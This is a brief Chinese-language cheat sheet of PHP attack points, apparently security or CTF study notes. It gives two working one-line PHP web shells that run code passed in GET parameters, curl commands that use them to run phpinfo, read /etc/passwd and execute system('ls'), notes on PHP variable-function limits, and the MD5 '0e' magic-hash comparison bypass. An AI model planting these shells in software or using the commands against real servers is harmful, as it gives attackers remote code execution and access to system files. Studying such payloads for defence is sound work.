PHP攻击点

  • php一句话木马1

    <?php @eval($_GET['code']); ?>
    

    可以使用下面的curl利用

    # 执行phpinfo()函数
    curl 'http://127.0.0.1/index.php?code=phpinfo();'
    # 通过include 查看/etc/passwd文件
    curl 'http://127.0.0.1/index.php?code=include%20%22%2fetc%2fpasswd%22;'
    
  • php一句话木马2

    <?php
    if(isset($_GET['func']) && isset($_GET['code'])) {
      $_GET['func']($_GET['code']);
    }
    ?>
    

    可以使用下面curl利用

    curl 'http://127.0.0.1/index.php?func=system&code=ls'
    

    注意:可变函数不能用于例如: echo, print, unset(), isset(), empty(), include, require以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。所以类似的eval在这里也不能使用。assert函数参数是字符串,参数会当作php代码来执行,但是在php7中也变成了语言结构。

  • php计算MD5值

    md5('240610708') == md5('QNKCDZO')  // True
    // 因为 240610708 的md5值为 0e462097431906509019562988736854
    //      QNKCDZO   的md5值为 0e830400451993494058024219903391
    // 值为0e开头,后面全是数字,php会将其当成浮点数处理,所以值相等